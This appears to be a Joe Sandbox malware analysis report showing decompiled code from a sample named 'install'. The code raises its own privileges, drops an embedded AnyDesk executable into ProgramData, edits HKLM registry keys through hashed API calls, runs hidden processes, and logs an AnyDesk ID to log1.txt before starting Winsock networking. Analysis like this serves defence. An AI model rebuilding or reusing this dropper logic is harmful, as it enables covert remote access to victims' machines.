MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,00000000,90B037BB,?,?,?,?,?,00000000,00000040,?,00000040), ref: 0040149D
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,00000000,00000003,00000000,?,000000FF,?,00000000,90B037BB,?,?,?), ref: 004014B5
WSAStartup.WSOCK32(00000101,?,00000003,00000000,?,000000FF,?,00000000,00000003,00000000,?,000000FF,?,00000000,90B037BB,?), ref: 004014DA

Strings

log1.txt, xrefs: 004013F8
N , xrefs: 00401510

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWide$CreateReadStartup
String ID: N $log1.txt
API String ID: 1469905055-2942839308
Opcode ID: ad9908f539feaf0f615cb1b5a88ff35268ba40a34b18c182e509756896483d6f
Instruction ID: 89cd49bb7bc59aa4628d345a7c85d82ed88eb8cd72c89ee100863132f8f21729
Opcode Fuzzy Hash: ad9908f539feaf0f615cb1b5a88ff35268ba40a34b18c182e509756896483d6f
Instruction Fuzzy Hash: A7419330A84318BEFF719B908C42FD976B8AF06704F0041EAB748B51E1C7B55E808F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401C0B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00401C0B() {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				int _t9;
				int _t11;

				_t9 = OpenProcessToken(0xffffffff, 0x28,  &_v8);
				if(_t9 != 0) {
					_t11 = LookupPrivilegeValueA(0, "SeRemoteShutdownPrivilege",  &(_v24.Privileges)); // executed
					if(_t11 != 0) {
						_v24.PrivilegeCount = 1;
						_v12 = 2;
						_t11 = AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0); // executed
					}
					_push(_v8);
					_push(0x90b037bb); // executed
					E00401C67(); // executed
					return _t11;
				}
				return _t9;
			}

0x00401c19
0x00401c20
0x00401c2d
0x00401c34
0x00401c36
0x00401c3d
0x00401c53
0x00401c53
0x00401c58
0x00401c5b
0x00401c60
0x00000000
0x00401c60
0x00401c66

APIs

OpenProcessToken.ADVAPI32(000000FF,00000028,?), ref: 00401C19
LookupPrivilegeValueA.ADVAPI32(00000000,SeRemoteShutdownPrivilege,?), ref: 00401C2D
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,000000FF,00000028,?), ref: 00401C53

Strings

SeRemoteShutdownPrivilege, xrefs: 00401C26

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: Token$AdjustLookupOpenPrivilegePrivilegesProcessValue
String ID: SeRemoteShutdownPrivilege
API String ID: 658607936-521618364
Opcode ID: 9cb206750f1757dc52d3aca129de754adf7904f54afc5ffcbacc11d838977fb3
Instruction ID: 220c5861ad56fd67f99bdc030efd647663111d3a4f7a1558cb5e9199da19b054
Opcode Fuzzy Hash: 9cb206750f1757dc52d3aca129de754adf7904f54afc5ffcbacc11d838977fb3
Instruction Fuzzy Hash: 40F0127168430875FB20DBE18D47FAE76BC9F04718F600165BA10B51E1D7B4EF049769

Uniqueness

Uniqueness Score: -1.00%

Function 00401798 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 293
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00401798(void* __ecx, void* __eflags) {
				char _v204;
				char _v404;
				char _v916;
				intOrPtr _v964;
				intOrPtr _v976;
				char* _v984;
				char _v988;
				char _v1044;
				char _v1123;
				char _v1198;
				char _v1247;
				char _v1259;
				char _v1272;
				char _v1284;
				char _v1294;
				char _v1303;
				char _v1331;
				char _v1350;
				char _v1374;
				char _v1385;
				char _v1396;
				char _v1405;
				char _v1414;
				char _v1496;
				char _v1576;
				char _v1656;
				char _v2168;
				char _v2172;
				char _v2176;
				intOrPtr _v2180;
				char _v2184;
				char _v2188;
				char _v2192;
				intOrPtr _v2196;
				intOrPtr _v2216;
				char* _t115;
				char* _t117;
				char* _t118;
				intOrPtr* _t175;
				intOrPtr* _t181;
				intOrPtr* _t191;

				E004015EF(0x48,  &_v988);
				_t192 = _v2216;
				_v2180 = 0;
				E004015CC(0x182, _v2216 - 0x1b5,  &_v1414, 0);
				E004015CC(0xe, _v2216 - 0x33,  &_v1496, 1);
				E004015CC(0xe, _t192 - 0x25,  &_v1656, 1);
				_push( &_v1405);
				_push(0x6b547ccc);
				E00401C67();
				_t115 =  &_v1414;
				_push(_t115);
				_push(0x6b547ccc); // executed
				E00401C67(); // executed
				_v2196 = _t115;
				_push( &_v2192);
				_push(0x20006);
				_push(0);
				_t117 =  &_v1247;
				_push(_t117);
				_push(0x80000002);
				_push(0x53c509b2); // executed
				E00401C67(); // executed
				_t118 = _t117;
				if(_t118 == 0) {
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1294);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1284);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1272);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1259);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					E004015CC(0xe, _t192 - 0x33,  &_v1576, 0);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					_v2172 = 0xc8;
					_v2176 = 0xc8;
					E00401C67(); // executed
					_t175 =  &_v1385;
					E00401C67();
					 *_t175(0,  &_v1496, 0x5272620a, _v2196, _t175, 0x9d61f30f, 0,  &_v1044,  &_v404,  &_v2172,  &_v916,  &_v2176,  &_v2184, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1576, 0, 4,  &_v988, "true", 0xd04d0dcd, 0x80000002,  &_v1123,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1350, 0, 4,  &_v988, 4); // executed
					_v988 =  &_v1496;
					_v984 =  &_v1656;
					_v964 = 0x10040;
					_v976 = 1;
					_t181 =  &_v1396;
					E00401C67();
					 *_t181(0, 1,  &_v988,  &_v2188, 0x5272620a, _v2196, _t181); // executed
					_v2172 = 0xc8;
					_v2176 = 0xc8;
					E00401C67();
					_v2192 =  &_v204;
					_t191 =  &_v1374;
					E00401C67();
					_t118 =  *_t191(0,  &_v404, 0,  &_v2192, 1, 0x5272620a, _v2196, _t191, 0xbdffc8f3, 0,  &_v1496,  &_v204,  &_v2172,  &_v916,  &_v2176,  &_v2184); // executed
				}
				return _t118;
			}

0x004017b1
0x004017b6
0x004017ba
0x004017d9
0x004017ed
0x00401801
0x0040180c
0x0040180d
0x00401812
0x00401817
0x0040181d
0x0040181e
0x00401823
0x00401828
0x00401834
0x00401835
0x0040183a
0x0040183c
0x00401842
0x00401843
0x00401848
0x0040184d
0x00401852
0x00401854
0x00401879
0x00401889
0x0040189c
0x004018af
0x004018cc
0x004018f0
0x00401900
0x00401913
0x00401926
0x00401943
0x00401967
0x00401977
0x0040198a
0x0040199d
0x004019ba
0x004019de
0x004019ee
0x00401a01
0x00401a14
0x00401a31
0x00401a55
0x00401a65
0x00401a79
0x00401a96
0x00401aba
0x00401aca
0x00401ad1
0x00401ad7
0x00401b0e
0x00401b13
0x00401b25
0x00401b34
0x00401b3c
0x00401b48
0x00401b51
0x00401b5b
0x00401b61
0x00401b73
0x00401b8a
0x00401b8e
0x00401b94
0x00401bcb
0x00401bd6
0x00401bdc
0x00401bee
0x00401c07
0x00401c07
0x00401c0a

APIs

lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000004,?,00000004,53C509B2,80000002,?,00000000,00020006), ref: 0040189C
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000004,?,00000004,53C509B2,80000002,?), ref: 004018AF
lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 00401913
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?), ref: 00401926
lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 0040198A
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?), ref: 0040199D
lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 00401A01
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?), ref: 00401A14

Strings

@, xrefs: 00401B51

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: lstrcatlstrcpy
String ID: @
API String ID: 3905823039-2766056989
Opcode ID: 8d758dcc2068937d28e1ca3629877a89b2050d6703a62491ef25e8f95eba9645
Instruction ID: a06ac9c19bc3e5e75067311addd6afe8bb628c6c59a3fef53ea66a6ce3ade762
Opcode Fuzzy Hash: 8d758dcc2068937d28e1ca3629877a89b2050d6703a62491ef25e8f95eba9645
Instruction Fuzzy Hash: F6B1D27294451CAEEB21EBA0CC85FDA73BCAB08304F4045E7B249F6095DF759B848FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040179F Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 293
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E0040179F(void* __ecx, void* __esi, void* __eflags) {
				char _v204;
				char _v404;
				char _v916;
				intOrPtr _v964;
				intOrPtr _v976;
				char* _v984;
				char _v988;
				char _v1044;
				char _v1123;
				char _v1198;
				char _v1247;
				char _v1259;
				char _v1272;
				char _v1284;
				char _v1294;
				char _v1303;
				char _v1331;
				char _v1350;
				char _v1374;
				char _v1385;
				char _v1396;
				char _v1405;
				char _v1414;
				char _v1496;
				char _v1576;
				char _v1656;
				char _v2168;
				char _v2172;
				char _v2176;
				intOrPtr _v2180;
				char _v2184;
				char _v2188;
				char _v2192;
				intOrPtr _v2196;
				intOrPtr _v2216;
				char* _t114;
				char* _t116;
				char* _t117;
				intOrPtr* _t174;
				intOrPtr* _t180;
				intOrPtr* _t190;
				void* _t191;

				E004015EF(0x48,  &_v988);
				_t192 = _v2216;
				_v2180 = 0;
				E004015CC(0x182, _v2216 - 0x1b5,  &_v1414, 0);
				E004015CC(0xe, _t192 - 0x33,  &_v1496, 1);
				E004015CC(0xe, _t192 - 0x25,  &_v1656, 1);
				_push( &_v1405);
				_push(0x6b547ccc);
				E00401C67();
				_t114 =  &_v1414;
				_push(_t114);
				_push(0x6b547ccc); // executed
				E00401C67(); // executed
				_v2196 = _t114;
				_push( &_v2192);
				_push(0x20006);
				_push(0);
				_t116 =  &_v1247;
				_push(_t116);
				_push(0x80000002);
				_push(0x53c509b2); // executed
				E00401C67(); // executed
				_t117 = _t116;
				if(_t117 == 0) {
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1294);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1284);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1272);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					lstrcpyA( &_v2168,  &_v1198);
					lstrcatA( &_v2168,  &_v1259);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					E004015CC(0xe, _t192 - 0x33,  &_v1576, 0);
					E00401C67(); // executed
					E00401C67(); // executed
					E00401C67();
					_v2172 = 0xc8;
					_v2176 = 0xc8;
					E00401C67(); // executed
					_t174 =  &_v1385;
					E00401C67();
					 *_t174(0,  &_v1496, 0x5272620a, _v2196, _t174, 0x9d61f30f, 0,  &_v1044,  &_v404,  &_v2172,  &_v916,  &_v2176,  &_v2184, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1576, 0, 4,  &_v988, "true", 0xd04d0dcd, 0x80000002,  &_v1123,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1303, 0, 1,  &_v1331, "true", 0xd04d0dcd, 0x80000002,  &_v2168,  &_v2192, 0xe928ad37, _v2192, 0x329b253b, _v2192,  &_v1350, 0, 4,  &_v988, 4); // executed
					_v988 =  &_v1496;
					_v984 =  &_v1656;
					_v964 = 0x10040;
					_v976 = 1;
					_t180 =  &_v1396;
					E00401C67();
					 *_t180(0, 1,  &_v988,  &_v2188, 0x5272620a, _v2196, _t180); // executed
					_v2172 = 0xc8;
					_v2176 = 0xc8;
					E00401C67();
					_v2192 =  &_v204;
					_t190 =  &_v1374;
					E00401C67();
					_t191 =  *_t190(0,  &_v404, 0,  &_v2192, 1, 0x5272620a, _v2196, _t190, 0xbdffc8f3, 0,  &_v1496,  &_v204,  &_v2172,  &_v916,  &_v2176,  &_v2184); // executed
					return _t191;
				}
				return _t117;
			}

APIs

lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000004,?,00000004,53C509B2,80000002,?,00000000,00020006), ref: 0040189C
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000004,?,00000004,53C509B2,80000002,?), ref: 004018AF
lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 00401913
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?), ref: 00401926
lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 0040198A
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?), ref: 0040199D
lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 00401A01
lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?), ref: 00401A14

Strings

@, xrefs: 00401B51

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: lstrcatlstrcpy
String ID: @
API String ID: 3905823039-2766056989
Opcode ID: 85628ac18c9c43938ecef7146bec185ee40aedf1b868a05d58eac3694d0b6f28
Instruction ID: 9b02f2ca089f390530ac82315af9d4c4802726933ad0573121fbaf758674f3b9
Opcode Fuzzy Hash: 85628ac18c9c43938ecef7146bec185ee40aedf1b868a05d58eac3694d0b6f28
Instruction Fuzzy Hash: 1FB1D17294451CAEEB21EBA0CC85FDA73BCAB08704F4041E7B249F6095DF759B848FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401124 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 69
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v99;
				char _v145;
				char _v220;
				char _v296;
				void* _t6;
				void* _t12;
				void* _t13;
				void* _t25;
				void* _t26;
				void* _t29;

				_t29 = __eflags;
				_t26 = __ecx;
				_t6 = CreateFileA("log1.txt", 4, 1, 0, 4, 0x80, 0); // executed
				 *0x403009 = _t6; // executed
				E00401C0B(); // executed
				E00401254(); // executed
				E0040179F(_t26, __esi, _t29); // executed
				0x4034ba->nLength = 0xc;
				 *0x4034be = 0;
				 *0x4034c2 = 1;
				CreatePipe(0x4034d6, 0x4034e2, 0x4034ba, 0); // executed
				CreatePipe(0x4034de, 0x4034da, 0x4034ba, 0); // executed
				GetStartupInfoA(0x403476);
				 *0x4034a2 = 0x101;
				 *0x4034a6 = 0;
				_t12 =  *0x4034da; // 0x1a4
				 *0x4034b2 = _t12;
				 *0x4034b6 = _t12;
				_t13 =  *0x4034d6; // 0x198
				 *0x4034ae = _t13;
				E004015CC(0x124, 0x401000,  &_v296, 0);
				E004012F1( &_v296, 0); // executed
				Sleep(0x4e20); // executed
				E004012F1( &_v220, 0); // executed
				Sleep(0x7d0); // executed
				E004012F1( &_v145, 1); // executed
				E004012F1( &_v99, 0); // executed
				CloseHandle( *0x403009); // executed
				_t25 = E004013DD(); // executed
				ExitProcess(0); // executed
				return _t25;
			}

0x00401124
0x00401124
0x00401141
0x00401146
0x0040114b
0x00401150
0x00401155
0x0040115a
0x00401164
0x0040116e
0x00401189
0x0040119f
0x004011a9
0x004011ae
0x004011b8
0x004011c1
0x004011c6
0x004011cb
0x004011d0
0x004011d5
0x004011ed
0x004011fb
0x00401205
0x00401213
0x0040121d
0x0040122b
0x00401236
0x00401241
0x00401246
0x0040124d
0x00401253

APIs

CreateFileA.KERNEL32(log1.txt,00000004,00000001,00000000,00000004,00000080,00000000), ref: 00401141

Part of subcall function 00401C0B: OpenProcessToken.ADVAPI32(000000FF,00000028,?), ref: 00401C19
Part of subcall function 00401C0B: LookupPrivilegeValueA.ADVAPI32(00000000,SeRemoteShutdownPrivilege,?), ref: 00401C2D
Part of subcall function 00401C0B: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,000000FF,00000028,?), ref: 00401C53

Part of subcall function 00401254: CreateDirectoryA.KERNEL32(c:\programdata\anydesk,00000000), ref: 00401261
Part of subcall function 00401254: GetModuleHandleA.KERNEL32(00000000,c:\programdata\anydesk,00000000), ref: 00401268
Part of subcall function 00401254: FindResourceA.KERNEL32 ref: 00401277
Part of subcall function 00401254: LoadResource.KERNEL32(?,?,?,00000001,0000000A,00000000,c:\programdata\anydesk,00000000), ref: 00401285
Part of subcall function 00401254: SizeofResource.KERNEL32(?,?,?,?,?,00000001,0000000A,00000000,c:\programdata\anydesk,00000000), ref: 00401293
Part of subcall function 00401254: CreateFileA.KERNEL32(c:\programdata\anydesk.exe,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 004012B2
Part of subcall function 00401254: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004012C9
Part of subcall function 00401254: CloseHandle.KERNEL32(?), ref: 004012D1
Part of subcall function 00401254: WriteFile.KERNEL32(anydesk-ID:,0000000D,0040300D,00000000,c:\programdata\anydesk.exe), ref: 004012EA

Part of subcall function 0040179F: lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000004,?,00000004,53C509B2,80000002,?,00000000,00020006), ref: 0040189C
Part of subcall function 0040179F: lstrcatA.KERNEL32(?,?,?,?,E928AD37,?,329B253B,?,?,00000000,00000004,?,00000004,53C509B2,80000002,?), ref: 004018AF
Part of subcall function 0040179F: lstrcpyA.KERNEL32(?,?,E928AD37,?,329B253B,?,?,00000000,00000001,?,0000001B,D04D0DCD,80000002,?,?,?), ref: 00401913

CreatePipe.KERNEL32(004034D6,004034E2,004034BA,00000000), ref: 00401189
CreatePipe.KERNEL32(004034DE,004034DA,004034BA,00000000,004034D6,004034E2,004034BA,00000000), ref: 0040119F
GetStartupInfoA.KERNEL32 ref: 004011A9

Part of subcall function 004012F1: ResumeThread.KERNEL32(DD0C5492,00000000,?,00000000,00000000,00000001,00000034,00000000,00000000,?,?,?,00401200,?,00000000,00000124), ref: 00401323
Part of subcall function 004012F1: GetExitCodeProcess.KERNEL32(004034EE,DD0C5492), ref: 00401333
Part of subcall function 004012F1: Sleep.KERNEL32(0000000A,00000000,?,00000000,00000000,00000001,00000034,00000000,00000000,?,?,?,00401200,?,00000000,00000124), ref: 0040134A
Part of subcall function 004012F1: PeekNamedPipe.KERNEL32(An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,000003FF,004034E6,004034EA,00000000,0000000A,00000000,?,00000000,00000000,00000001,00000034,00000000,00000000,?,?), ref: 0040136B
Part of subcall function 004012F1: ReadFile.KERNEL32(An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,000003FF,004034E6,00000000,An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.), ref: 00401390
Part of subcall function 004012F1: WriteFile.KERNEL32(An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,0040300D,00000000,An error occurred while attempting to contact the Windows Firewall service. Make sure that the service is running and try your request again.,000003FF), ref: 004013B3

Sleep.KERNEL32(00004E20,?,00000000,00000124,00401000,?,00000000,00403476,004034DE,004034DA,004034BA,00000000,004034D6,004034E2,004034BA,00000000), ref: 00401205
Sleep.KERNEL32(000007D0,?,00000000,00004E20,?,00000000,00000124,00401000,?,00000000,00403476,004034DE,004034DA,004034BA,00000000,004034D6), ref: 0040121D
CloseHandle.KERNEL32(?), ref: 00401241

Part of subcall function 004013DD: CreateFileA.KERNEL32(log1.txt,80000000,00000001,00000000,00000004,00000080,00000000), ref: 004013FD
Part of subcall function 004013DD: GlobalAlloc.KERNEL32(00000040,00000000,AF044CC8,00000000,00000000,log1.txt,80000000,00000001,00000000,00000004,00000080,00000000,?,0040124B,?,00000000), ref: 00401437
Part of subcall function 004013DD: GlobalAlloc.KERNEL32(00000040,?,00000040,00000000,AF044CC8,00000000,00000000,log1.txt,80000000,00000001,00000000,00000004,00000080,00000000,?,0040124B), ref: 0040144E
Part of subcall function 004013DD: ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00401474
Part of subcall function 004013DD: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,00000000,90B037BB,?,?,?,?,?,00000000,00000040,?,00000040), ref: 0040149D
Part of subcall function 004013DD: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,00000000,00000003,00000000,?,000000FF,?,00000000,90B037BB,?,?,?), ref: 004014B5
Part of subcall function 004013DD: WSAStartup.WSOCK32(00000101,?,00000003,00000000,?,000000FF,?,00000000,00000003,00000000,?,000000FF,?,00000000,90B037BB,?), ref: 004014DA

ExitProcess.KERNEL32(00000000,?,00000000,?,00000001,000007D0,?,00000000,00004E20,?,00000000,00000124,00401000,?,00000000,00403476), ref: 0040124D

Strings

log1.txt, xrefs: 0040113C

Memory Dump Source

Source File: 0000000B.00000002.1124736719.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1124729540.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124744809.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124752388.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1124757318.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_install.jbxd

Similarity

API ID: File$Create$HandlePipeProcessResourceSleepWrite$AllocByteCharCloseExitGlobalMultiReadStartupTokenWidelstrcpy$AdjustCodeDirectoryFindInfoLoadLookupModuleNamedOpenPeekPrivilegePrivilegesResumeSizeofThreadValuelstrcat
String ID: log1.txt
API String ID: 3149525843-3048449567
Opcode ID: d855ae16e17dd0ba895faceadd39ac1348a69d81335a2d7d2c7cbd13cd1b1498
Instruction ID: ec9ea395d11f5f2aa575c2926b1fde49f109d5205274300746558b192c143f14
Opcode Fuzzy Hash: d855ae16e17dd0ba895faceadd39ac1348a69d81335a2d7d2c7cbd13cd1b1498
Instruction Fuzzy Hash: D52112707843057AE611BFA19D47F853EAC6B00B0AF50007FB605BE5E2DAFCA644876D

Uniqueness

Uniqueness Score: -1.00%

Function 004012F1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 55
filesleeppipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E004012F1(intOrPtr _a4, intOrPtr _a8) {
				int _t6;

				_push(0x4034c6);
				_push(0x403476);
				_push(0);
				_push(0);
				_push(0x34);
				_push(1);
				_push(0);
				_push(0);
				_push(_a4);
				_push(0);
				_push(0xdd0c5492); // executed
				E00401C67(); // executed
				ResumeThread( *0x4034ca); // executed
				while(1) {
					L1:
					_t6 = GetExitCodeProcess( *0x4034c6, 0x4034ee); // executed
					if( *0x4034ee != 0x103) {
						break;
					}
					Sleep(0xa); // executed
					PeekNamedPipe( *0x4034de, "\r\nAn error occurred while attempting to contact the  Windows Firewall service. Make sure that the service is running and try your request again.\r\n\r\n", 0x3ff, 0x4034e6, 0x4034ea, 0); // executed
					if( *0x4034e6 != 0) {
						while(1) {
							ReadFile( *0x4034de, "\r\nAn error occurred while attempting to contact the  Windows Firewall service. Make sure that the service is running and try your request again.\r\n\r\n", 0x3ff, 0x4034e6, 0); // executed
							if(_a8 != 0) {
								WriteFile( *0x403009, "\r\nAn error occurred while attempting to contact the  Windows Firewall service. Make sure that the service is running and try your request again.\r\n\r\n",  *0x4034e6, 0x40300d, 0); // executed
							}
							if( *0x4034ea <= 0x3ff) {
								goto L1;
							}
							if( *0x4034e6 == 0x3ff) {
								continue;
							} else {
								goto L1;
							}
							goto L9;
						}
					}
					L9:
				}
				return _t6;
				goto L9;
			}

0x004012fa
0x00401301
0x00401302
0x00401304
0x00401306
0x00401308
0x0040130a
0x0040130c
0x0040130e
0x00401311
0x00401313
0x00401318
0x00401323
0x00401328
0x00401328
0x00401333
0x00401342
0x00000000
0x00000000
0x0040134a
0x0040136b
0x00401377
0x00401379
0x00401390
0x00401399
0x004013b3
0x004013b3
0x004013c2
0x00000000
0x00000000
0x004013d2
0x00000000
0x004013d4
0x00000000
0x004013d4
0x00000000
0x004013d2
0x00401379
0x00000000
0x00401377
0x004013da
0x00000000

APIs

ResumeThread.KERNEL32(DD0C5492,00000000,?,00000000,00000000,00000001,00000034,00000000,00000000,?,?,?,00401200,?,00000000,00000124), ref: 00401323
